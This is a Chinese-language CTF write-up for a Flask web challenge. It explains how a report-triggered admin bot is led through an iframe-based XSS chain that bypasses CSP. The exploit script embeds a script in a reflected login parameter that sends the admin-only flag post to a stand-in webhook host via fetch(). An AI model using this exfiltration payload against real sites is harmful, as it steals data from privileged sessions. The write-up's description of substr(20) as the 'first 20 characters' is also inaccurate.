一、题目描述
用户注册登录后,可以创建 Post ,创建好之后可以浏览,也可以通过点击 Report to Admin 触发机器人访问该Post

flag被管理员写在了Post中,只有管理员或者机器人可通过 /post/0 访问
python
ADMIN_USERNAME = secrets.token_hex(32)
ADMIN_PASSWORD = secrets.token_hex(32)
users = {ADMIN_USERNAME: ADMIN_PASSWORD}
posts = [{
"id": 0,
"author": ADMIN_USERNAME,
"title": "FLAG",
"description": FLAG,
"hidden": True
}]
目标是让机器人访问存放flag的页面: post/0 ,然后再想办法获取flag
二、题目分析
用户登录之后,可以创建Post
python
@app.route("/create_post", methods=["POST"])
@login_required
def create_post():
title = request.form["title"]
description = request.form["description"] # 获取用户输入的 description
hidden = request.form.get("hidden") == "on" # Checkbox in form for hidden posts
post_id = len(posts)
posts.append({ // 将用户的该post条目加入posts
"id": post_id,
"author": session["username"], # author是session[username]
"title": title,
"description": description,
"hidden": hidden
})
return redirect(url_for("index"))
用户可以访问自己创建的笔记
python
@app.route("/post/<int:post_id>")
@login_required
def post_page(post_id):
# 判断访问的id是否存在
post = next((p for p in posts if p["id"] == post_id), None)
if not post:
return "Post not found", 404
# 判断用户是否设置可见 且 判断用户是否为作者
if post.get("hidden") and post["author"] != session["username"]:
return "Unauthorized", 403
# 若id存在 且 用户为作者,将post(包含用户输入title和description)传入render_template函数
resp = make_response(render_template("post.html", post=post))
resp.headers["Content-Security-Policy"] = "script-src 'none'; style-src 'self'"
return resp
用户访问 /report 页面时会触发机器人访问
python
@app.route('/report', methods=['POST'])
def report():
url = request.form.get('url') # 获取data部分的url
if not url:
return 'Missing url', 400
# 创建线程执行 run_admin_bot 函数
Thread(target=_run_admin_bot, args=(url,), daemon=True).start()
return 'Report queued', 202
def _run_admin_bot(target_url: str):
try:
# 将 url 作为参数传递给bot
bot.run_report(target_url, ADMIN_USERNAME, ADMIN_PASSWORD)
print("[BOT] Done")
except Exception as e:
print(f"[BOT] Error: {e}")
bot report操作实际是以管理员身份登录和访问待 report 的 url
py
def run_report(url, username, password):
try:
driver = webdriver.Chrome(service=service, options=options)
# 1.以管理员身份登录
driver.get(f"http://127.0.0.1:5000/login?username={username}&password={password}")
# Wait until page is loaded (document.readyState == "complete")
WebDriverWait(driver, 10).until(
lambda d: d.execute_script("return document.readyState") == "complete"
)
# 2.访问 report page url
driver.get(url)
WebDriverWait(driver, 10).until(
lambda d: d.execute_script("return window.reportReady === true")
)
print("Report page fully loaded")
结合 flag 存放在管理员的 post/0 中,突破点在触发机器人执行report,以管理员的身份登录之后去访问某个url,若该url包含恶意链接,使得机器人在访问时将其cookie或者之前访问 post/0 的内容带出来,即可获得flag
exp如下:
注:credentialless 的核心作用是:让 iframe 请求不带 cookie,适用于跨域信息泄露场景
python
import requests
s = requests.Session()
URL = "https://webless-156e7e4ba10d8dc9.challs.tfcctf.com"
solution = """
<iframe src="/post/0"></iframe>
<iframe credentialless src="/login?username=<script>fetch(`https://WEBHOOOK/${btoa(top.window.frames[0].document.body.innerText.substr(20))}`)</script>&password=a"></iframe>
"""
s.post(URL+"/register", data={"username": "test", "password": "test"})
s.post(URL+"/create_post", data={"title": "LEAK", "description": solution, "hidden": "off"})
s.post(URL+"/report", data={"url": "http://127.0.0.1:5000/post/1"})
print("Check the webhook")
poyload的解释如下:
用户创建的post中包含solution,
当bot通过"http://127.0.0.1:5000/post/1" 访问时,返回的页面中包含solution;bot首先会访问 src="post/0" ,然后会访问 src="/login?username=<script>fetch(......)${btoa(top.window.frames[0].document.body.innerText.substr(20))}
在访问后者时会获取前一帧显示的内容的前20个字符,将通过base64编码后发送到https://WEBHOOOK,即将flag的值发送出来了
